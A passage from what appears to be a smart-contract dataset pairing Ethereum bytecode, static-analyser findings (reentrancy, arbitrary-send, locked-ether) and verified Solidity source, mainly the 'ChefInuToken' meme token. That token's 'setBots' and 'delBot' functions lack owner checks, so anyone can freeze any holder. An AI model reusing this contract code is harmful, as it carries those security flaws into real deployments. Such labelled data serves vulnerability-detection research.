ffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506110bd565b6040518082815260200191505060405180910390f35b341561067057600080fd5b61069c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611144565b005b6040805190810160405280600b81526020017f53747564656e74436f696e00000000000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561081057600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561085e57600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156108e957600080fd5b61093b82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461129990919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109d082600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112b290919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610aa282600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461129990919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600860ff16600a0a629896800281565b600881565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f535443000000000000000000000000000000000000000000000000000000000081525081565b600060ff835111151515610c6157600080fd5b81518351141515610c7157600080fd5b600090505b82518160ff161015610ccf57610cc184848360ff16815181101515610c9757fe5b90602001906020020151848460ff16815181101515610cb257fe5b906020019060200201516107d3565b508080600101915050610c76565b50505050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610d1257600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610d6057600080fd5b610db282600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461129990919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e4782600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112b290919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600060ff835111151515610f0c57600080fd5b81518351141515610f1c57600080fd5b600090505b82518160ff161015610f7957610f6b838260ff16815181101515610f4157fe5b90602001906020020151838360ff16815181101515610f5c57fe5b90602001906020020151610cd5565b508080600101915050610f21565b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fdb57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561109e57600080fd5b5af115156110ab57600080fd5b50505060405180519050905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561119f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156111db57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111515156112a757fe5b818303905092915050565b60008082840190508381101515156112c657fe5b80915050929150505600a165627a7a723058203917ae7ed366f4b450ac6a56b41692d3ee53c2e0ba3d6b52f6931611601cffe20029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 8,170 |
0x0Acc03d2ef0Fa04198DC7418bDb68729a3b1Dc3B
|
/**
*Submitted for verification at Etherscan.io on 2022-03-25
*/
// SPDX-License-Identifier: UNLICENSED
/**
https://t.me/chefinutoken
**/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ChefInuToken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
string private constant _name = "Chef Inu";
string private constant _symbol = "CHEFINU";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(_msgSender());
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_maxTxAmount = _tTotal.div(100);
emit Transfer(address(_msgSender()), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from] && !bots[to]);
_feeAddr1 = 7;
_feeAddr2 = 5;
if (from != owner() && to != owner()) {
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
cooldown[to] = block.timestamp + (30 minutes);
}
if ( from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
if(to == uniswapV2Pair){
_feeAddr1 = 7;
_feeAddr2 = 5;
}
require(cooldown[from] < block.timestamp);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 500000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount);
}
function openTrading() external onlyOwner {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function addLiq() external onlyOwner{
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public {
for (uint256 i = 0; i < bots_.length; i++) {
if(bots_[i]!=address(uniswapV2Router) && bots_[i]!=address(uniswapV2Pair) &&bots_[i]!=address(this)){
bots[bots_[i]] = true;
}
}
}
function delBot(address notbot) public {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a1461030d578063c3c8cd801461032d578063c9567bf914610342578063dd62ed3e14610357578063e9e1831a1461039d57600080fd5b8063715018a6146102805780638da5cb5b1461029557806395d89b41146102bd578063a9059cbb146102ed57600080fd5b8063273123b7116100dc578063273123b7146101d1578063313ce5671461020f5780635932ead11461022b5780636fc3eaec1461024b57806370a082311461026057600080fd5b806306fdde0314610119578063095ea7b31461015c57806318160ddd1461018c57806323b872dd146101b157600080fd5b3661011457005b600080fd5b34801561012557600080fd5b506040805180820190915260088152674368656620496e7560c01b60208201525b604051610153919061156a565b60405180910390f35b34801561016857600080fd5b5061017c6101773660046115e4565b6103b2565b6040519015158152602001610153565b34801561019857600080fd5b5067016345785d8a00005b604051908152602001610153565b3480156101bd57600080fd5b5061017c6101cc366004611610565b6103c9565b3480156101dd57600080fd5b5061020d6101ec366004611651565b6001600160a01b03166000908152600660205260409020805460ff19169055565b005b34801561021b57600080fd5b5060405160098152602001610153565b34801561023757600080fd5b5061020d61024636600461167c565b610432565b34801561025757600080fd5b5061020d610483565b34801561026c57600080fd5b506101a361027b366004611651565b610490565b34801561028c57600080fd5b5061020d6104b2565b3480156102a157600080fd5b506000546040516001600160a01b039091168152602001610153565b3480156102c957600080fd5b5060408051808201909152600781526643484546494e5560c81b6020820152610146565b3480156102f957600080fd5b5061017c6103083660046115e4565b610526565b34801561031957600080fd5b5061020d6103283660046116af565b610533565b34801561033957600080fd5b5061020d61065d565b34801561034e57600080fd5b5061020d610673565b34801561036357600080fd5b506101a3610372366004611774565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156103a957600080fd5b5061020d61089a565b60006103bf338484610a60565b5060015b92915050565b60006103d6848484610b84565b610428843361042385604051806060016040528060288152602001611971602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610ed9565b610a60565b5060019392505050565b6000546001600160a01b031633146104655760405162461bcd60e51b815260040161045c906117ad565b60405180910390fd5b600e8054911515600160b81b0260ff60b81b19909216919091179055565b4761048d81610f13565b50565b6001600160a01b0381166000908152600260205260408120546103c390610f4d565b6000546001600160a01b031633146104dc5760405162461bcd60e51b815260040161045c906117ad565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103bf338484610b84565b60005b815181101561065957600d5482516001600160a01b0390911690839083908110610562576105626117e2565b60200260200101516001600160a01b0316141580156105b35750600e5482516001600160a01b039091169083908390811061059f5761059f6117e2565b60200260200101516001600160a01b031614155b80156105ea5750306001600160a01b03168282815181106105d6576105d66117e2565b60200260200101516001600160a01b031614155b1561064757600160066000848481518110610607576106076117e2565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806106518161180e565b915050610536565b5050565b600061066830610490565b905061048d81610fca565b6000546001600160a01b0316331461069d5760405162461bcd60e51b815260040161045c906117ad565b600e54600160a01b900460ff16156106f75760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161045c565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610733308267016345785d8a0000610a60565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610771573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107959190611827565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108069190611827565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610853573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108779190611827565b600e80546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b031633146108c45760405162461bcd60e51b815260040161045c906117ad565b600d546001600160a01b031663f305d71947306108e081610490565b6000806108f56000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561095d573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109829190611844565b5050600e805463ffff00ff60a01b198116630101000160a01b17909155600d5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156109f3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061048d9190611872565b6000610a5983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611144565b9392505050565b6001600160a01b038316610ac25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161045c565b6001600160a01b038216610b235760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045c565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610be85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161045c565b6001600160a01b038216610c4a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161045c565b60008111610cac5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161045c565b6001600160a01b03831660009081526006602052604090205460ff16158015610cee57506001600160a01b03821660009081526006602052604090205460ff16155b610cf757600080fd5b6007600a556005600b556000546001600160a01b03848116911614801590610d2d57506000546001600160a01b03838116911614155b15610ec957600e546001600160a01b038481169116148015610d5d5750600d546001600160a01b03838116911614155b8015610d8257506001600160a01b03821660009081526005602052604090205460ff16155b8015610d975750600e54600160b81b900460ff165b15610dd157600f54811115610dab57600080fd5b610db74261070861188f565b6001600160a01b0383166000908152600760205260409020555b600d546001600160a01b03848116911614801590610e0857506001600160a01b03831660009081526005602052604090205460ff16155b15610e5257600e546001600160a01b0390811690831603610e2e576007600a556005600b555b6001600160a01b0383166000908152600760205260409020544211610e5257600080fd5b6000610e5d30610490565b600e54909150600160a81b900460ff16158015610e885750600e546001600160a01b03858116911614155b8015610e9d5750600e54600160b01b900460ff165b15610ec757610eab81610fca565b476706f05b59d3b20000811115610ec557610ec547610f13565b505b505b610ed4838383611172565b505050565b60008184841115610efd5760405162461bcd60e51b815260040161045c919061156a565b506000610f0a84866118a7565b95945050505050565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610659573d6000803e3d6000fd5b6000600854821115610fb45760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161045c565b6000610fbe61117d565b9050610a598382610a17565b600e805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611012576110126117e2565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561106b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061108f9190611827565b816001815181106110a2576110a26117e2565b6001600160a01b039283166020918202929092010152600d546110c89130911684610a60565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111019085906000908690309042906004016118be565b600060405180830381600087803b15801561111b57600080fd5b505af115801561112f573d6000803e3d6000fd5b5050600e805460ff60a81b1916905550505050565b600081836111655760405162461bcd60e51b815260040161045c919061156a565b506000610f0a848661192f565b610ed48383836111a0565b600080600061118a611297565b90925090506111998282610a17565b9250505090565b6000806000806000806111b2876112d7565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506111e49087611334565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546112139086611376565b6001600160a01b038916600090815260026020526040902055611235816113d5565b61123f848361141f565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161128491815260200190565b60405180910390a3505050505050505050565b600854600090819067016345785d8a00006112b28282610a17565b8210156112ce5750506008549267016345785d8a000092509050565b90939092509050565b60008060008060008060008060006112f48a600a54600b54611443565b925092509250600061130461117d565b905060008060006113178e878787611498565b919e509c509a509598509396509194505050505091939550919395565b6000610a5983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ed9565b600080611383838561188f565b905083811015610a595760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161045c565b60006113df61117d565b905060006113ed83836114e8565b3060009081526002602052604090205490915061140a9082611376565b30600090815260026020526040902055505050565b60085461142c9083611334565b60085560095461143c9082611376565b6009555050565b600080808061145d606461145789896114e8565b90610a17565b9050600061147060646114578a896114e8565b90506000611488826114828b86611334565b90611334565b9992985090965090945050505050565b60008080806114a788866114e8565b905060006114b588876114e8565b905060006114c388886114e8565b905060006114d5826114828686611334565b939b939a50919850919650505050505050565b6000826000036114fa575060006103c3565b60006115068385611951565b905082611513858361192f565b14610a595760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161045c565b600060208083528351808285015260005b818110156115975785810183015185820160400152820161157b565b818111156115a9576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461048d57600080fd5b80356115df816115bf565b919050565b600080604083850312156115f757600080fd5b8235611602816115bf565b946020939093013593505050565b60008060006060848603121561162557600080fd5b8335611630816115bf565b92506020840135611640816115bf565b929592945050506040919091013590565b60006020828403121561166357600080fd5b8135610a59816115bf565b801515811461048d57600080fd5b60006020828403121561168e57600080fd5b8135610a598161166e565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156116c257600080fd5b823567ffffffffffffffff808211156116da57600080fd5b818501915085601f8301126116ee57600080fd5b81358181111561170057611700611699565b8060051b604051601f19603f8301168101818110858211171561172557611725611699565b60405291825284820192508381018501918883111561174357600080fd5b938501935b8285101561176857611759856115d4565b84529385019392850192611748565b98975050505050505050565b6000806040838503121561178757600080fd5b8235611792816115bf565b915060208301356117a2816115bf565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611820576118206117f8565b5060010190565b60006020828403121561183957600080fd5b8151610a59816115bf565b60008060006060848603121561185957600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561188457600080fd5b8151610a598161166e565b600082198211156118a2576118a26117f8565b500190565b6000828210156118b9576118b96117f8565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561190e5784516001600160a01b0316835293830193918301916001016118e9565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261194c57634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561196b5761196b6117f8565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220965a11fb21bb5ebca97312dc7a1b3e400dc8b06b0c894d163b07fa3659bb864064736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,171 |
0x61624e63ebf5fd046bf96bd16a98dbe522a7a19f
|
/**
*Submitted for verification at Etherscan.io on 2021-09-07
*/
pragma solidity ^0.5.16;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be aplied to your functions to restrict their use to
* the owner.
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* > Note: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @title Custom NFT contract based off ERC721 but restricted by access control.
* @dev Based on https://github.com/Synthetixio/spartan-council/blob/main/contracts/SpartanCouncil.sol
*/
contract LyraCouncil is Ownable {
